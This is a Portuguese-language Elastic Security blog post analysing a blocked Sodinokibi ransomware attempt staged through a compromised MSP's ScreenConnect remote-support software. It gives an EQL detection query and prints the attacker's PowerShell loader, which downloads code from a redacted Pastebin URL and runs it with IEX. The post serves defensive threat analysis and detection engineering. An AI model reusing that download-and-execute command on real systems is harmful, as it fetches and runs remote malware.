Ransomware, interrompido: Sodinokibi e a cadeia de suprimentos | Elastic Blog
Engineering

Ransomware, interrompido: Sodinokibi e a cadeia de suprimentos

No mês passado, a equipe de proteções do Elastic Security impediu uma tentativa de ataque de ransomware contra uma organização monitorada por um de nossos clientes, um provedor de serviços gerenciados (MSP) de TI. Analisamos os alertas gerados após as tentativas de injeção de processo de um adversário terem sido impedidas pelo Elastic Endpoint Security em vários endpoints. Os adversários geralmente tentam injetar seu código mal-intencionado em um processo em execução antes de criptografar e reter os dados da vítima para pedir resgate.

O comportamento que observamos nesse caso coincide com relatos de agentes mal-intencionados que promoveram ações contra MSPs para implantar ransomware em escala empresarial. Ao abusar das relações de confiança entre os MSPs e seus clientes, ataques dessa natureza têm maior impacto, sendo capazes de prejudicar pequenas empresas, interferir no transporte ou até interromper um serviço público municipal essencial.

É importante observar, nesse caso, que o adversário acessou o ambiente-alvo por meio de outro MSP, que não é um cliente do Elastic Security — não temos detalhes específicos sobre esse ambiente ou sobre como ele pode ter sido comprometido.

Neste post, falaremos sobre o comportamento mal-intencionado que observamos e impedimos, por que esse ataque geralmente é bem-sucedido e o que você pode fazer para reduzir a eficácia desse tipo de ataque na sua empresa.

Elastic Security Intelligence and Analytics é uma equipe do departamento Elastic Security Engineering que usa telemetria de segurança anonimizada dos clientes participantes para rastrear ameaças e aprimorar produtos, uma função que inclui a coleta de metadados de alerta. Ao monitorar padrões de eventos que afetam muitos clientes, podemos tomar decisões urgentes que melhoram a nossa capacidade de mitigar ameaças emergentes ou fornecer informações essenciais à comunidade.

Impedimento da injeção de processo mal-intencionado

A primeira evidência de comprometimento foi detectada quando várias tentativas de injeção de processo foram impedidas. A injeção de processo pode ser usada para executar um código no espaço de endereço de um processo em execução. Os adversários geralmente executam essa técnica na tentativa de evitar a detecção por produtos de segurança ou de executar seu código mal-intencionado em um processo executado em um nível de integridade mais alto para aumentar seus privilégios.

ransomware-prevention-blog-process-injection-alerts.png

Alertas de injeção de processo na plataforma do Elastic Endpoint Security

A análise dos alertas de injeção de processo estabeleceu que o PowerShell, um poderoso framework de script nativo, foi utilizado em uma tentativa de injetar shellcode em si mesmo — um comportamento que costuma ser mal-intencionado. O processo powershell.exe foi criado como um descendente do ScreenConnect.WindowsClient.exe, uma aplicação de suporte para área de trabalho remota. Esse tipo de software é usado para permitir que os administradores de TI se conectem a computadores remotos e forneçam suporte aos usuários finais, mas aplicações como essa costumam ser abusadas por adversários, em uma tática conhecida como “living off the land” (“tirar o sustento da terra”, em uma tradução livre).

A figura abaixo mostra a linhagem do processo incomum associada a esse caso no Resolver™, nossa visualização que exibe eventos associados a um ataque.

Resolver™ mostrando a linhagem do processo associada à tentativa de injeção de processo

Observe que cmd.exe e powershell.exe são descendentes do processo ScreenConnect.WindowsClient.exe. Isso é suspeito, considerando sua capacidade de executar comandos ou scripts mal-intencionados, mas, de forma isolada, não indica necessariamente atividade mal-intencionada. Definir a linha de base do seu ambiente e compreender os relacionamentos normais dos processos na sua empresa são cruciais para procurar, detectar ou responder a comportamentos mal-intencionados.

Nesse caso, a análise dos processos e seus argumentos de linha de comando revelou que o adversário utilizou o software de área de trabalho remota ScreenConnect para se conectar e copiar um arquivo de lote no endpoint-alvo. O exame de um dos processos cmd.exe no Resolver™ mostrou que o arquivo de lote continha um script do PowerShell codificado em Base64 que foi executado posteriormente.

Detecção e impedimento de comportamentos indesejados com EQL

Embora esse alvo em potencial protegido pelo Elastic Endpoint Security tenha evitado um dispendioso surto de ransomware, muitos MSPs ainda estão aprendendo a lidar com essa metodologia. Esse adversário entende que os provedores de serviços geralmente têm a confiança implícita de seus clientes, e isso torna todos os tipos de provedores valiosos.

Depois que um adversário obteve acesso inicial ao ambiente-alvo, é comum que ele procure relações de confiança implícita e abuse delas, como vimos nesse caso. A organização vítima confia nas conexões com seu ambiente provenientes do MSP por meio da aplicação de suporte para a área de trabalho remota, o que introduz o risco de comprometimento da cadeia de suprimentos.

Ao considerar como monitorar e defender essas relações de confiança, o foco em aplicações que se conectam da parte confiável à sua rede é um bom ponto de partida. Colocar processos descendentes do ScreenConnect em uma lista de restrição pode não ser uma solução viável para evitar esse comportamento mal-intencionado, pois isso pode impedir que o pessoal de suporte legítimo trabalhe com eficácia. No entanto, uma equipe de monitoramento de segurança pode decidir que um processo descendente do ScreenConnect que esteja usando a rede seja suspeito e queira detectar e impedir esse comportamento. Isso é possível usando o Event Query Language (EQL) da Elastic e é uma abordagem genérica para o desenvolvimento de conscientização ambiental.

A consulta EQL a seguir procura uma sequência de dois eventos que estejam vinculados usando o ID do processo (PID) exclusivo do processo. O primeiro evento procura um processo que seja descendente do ScreenConnect*.exe. O segundo evento procura atividade de rede do processo descendente. Essa consulta pode ser facilmente expandida para incluir outro software de acesso remoto ou filtrar a atividade esperada no seu ambiente.

sequence by unique_pid
  [process where descendant of [process where process_name == "ScreenConnect*.exe"]]
  [network where true]

Com o Elastic Endpoint Security, também é possível configurar uma ação de resposta do Reflex, que é uma maneira de os clientes implementarem suas próprias regras de prevenção personalizadas. Por exemplo, podemos encerrar o processo descendente quando ele estabelece uma conexão de rede, o que impediria o download de outro código mal-intencionado ou atividades de comando e controle.

Configuração de uma ação de resposta do Reflex na plataforma do Elastic Endpoint Security

O Elastic Endpoint Security vem com um grande volume da nossa própria analítica baseada em comportamento, que inclui maneiras de detectar e impedir relacionamentos de processos anormais envolvendo ferramentas administrativas de terceiros ou binários nativos dos sistemas operacionais Windows, MacOS ou Linux.

Análise da metodologia do adversário

O script do PowerShell que foi executado verificou a arquitetura do processador antes de utilizar a classe WebClient do .NET para fazer download de conteúdo do Pastebin e o cmdlet Invoke-Expression (IEX) para executar o código. Essa é uma técnica popular entre os adversários para fazer download do código e executá-lo via PowerShell.

O Pastebin é um serviço de hospedagem e compartilhamento de texto sem formatação no qual usuários legítimos geralmente compartilham snippets de código. No entanto, agentes mal-intencionados utilizam o Pastebin e sites semelhantes para armazenar códigos mal-intencionados ou publicar credenciais vazadas.

If ($ENV:PROCESSOR_ARCHITECTURE  - contains 'AMD64')  {
    Start - Process  - FilePath "$Env:WINDIR\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"  - argument "IEX ((new-object net.webclient).downloadstring('https://pastebin[.]com/raw/[REDACTED]'));Invoke-LJJJIWVSRIMKPOD;Start-Sleep -s 1000000;"
} else {
    IEX ((new - object net.webclient).downloadstring('https://pastebin[.]com/raw/[REDACTED]'));
    Invoke - LJJJIWVSRIMKPOD;
    Start - Sleep  - s 1000000;
}
Script do PowerShell que fez download do conteúdo1 do pastebin.com

Esse comportamento geralmente é categorizado como um ataque sem arquivo ou na memória devido à atividade de disco inexistente ou mínima que ocorre no endpoint. Quando o agente do Elastic Endpoint Security detecta um ataque sem arquivo, ele coleta e extrai automaticamente o código e as strings injetadas em etapas. Esse recurso garantiu que tivéssemos visibilidade total do comportamento a ser evitado.

A busca de VirusTotal em algumas das strings coletadas trouxe à tona várias amostras da família de ransomware Sodinokibi.

As seguintes marcas de ferramenta e comportamentos específicos indicam que essa atividade coincide com a execução das amostras de ransomware Sodinokibi ou Gandcrab, conforme relatado pelo BleepingComputer e pelo Cynet:

  • O agente mal-intencionado utilizou o software de suporte para área de trabalho remota ScreenConnect para se conectar de um MSP comprometido à empresa-alvo.
  • O ScreenConnect foi usado para copiar um script em lote para os endpoints, que continha um script do PowerShell para fazer download e injeção de código mal-intencionado do Pastebin.
  • O script do PowerShell continha cmdlets e strings (por exemplo, Invoke-LJJJIWVSRIMKPOD e Start-Sleep) que foram observados em outras campanhas de ransomware Sodinokibi.
  • As strings coletadas dos threads injetados coincidem com as amostras de ransomware Sodinokibi que foram enviadas ao VirusTotal nas últimas 24 horas.

Depois do impedimento da tentativa do adversário de se autoinjetar shellcode e executar o ransomware, o ataque ao endpoint inicial foi interrompido. Após um período de 15 minutos, o adversário retornou e tentou executar os mesmos procedimentos em mais cinco endpoints antes de desistir. Todas as tentativas de implantar ransomware foram impedidas.

Conclusão

Neste post, discutimos um caso real de um agente mal-intencionado abusando de relacionamentos confiáveis entre um MSP e seus clientes e tentando implantar ransomware. Isso destaca a importância de entender os relacionamentos que a sua organização mantém com terceiros e o impacto potencial se essas conexões forem abusadas.

A análise dos alertas revelou que o adversário se conectou ao ambiente do cliente por meio do software de suporte para a área de trabalho remota e executou um script mal-intencionado com o objetivo de fazer download, injeção e execução de ransomware. Todas as tentativas do adversário foram impedidas.

Esse caso também demonstra a importância de ter uma abordagem em camadas para a segurança e ser capaz de detectar e impedir comportamento de adversários e ataques sem arquivo. Dissecamos os procedimentos do invasor e mostramos como o EQL e o Reflex podem ser usados para criar regras e respostas personalizadas.

Apenas procurar arquivos mal-intencionados não é suficiente; o Elastic Endpoint Security fornece várias camadas de proteções baseadas em comportamento contra ransomware, ataques sem arquivo, phishing, explorações e comportamento de adversários.

O suporte ao EQL está sendo adicionado ao Elasticsearch. Receba notificações sobre desenvolvimentos do Elastic Endpoint Security ou inscreva-se para fazer parte do Programa de Acesso Antecipado.

1 — O conteúdo foi removido do Pastebin pelo criador ou pela equipe do Pastebin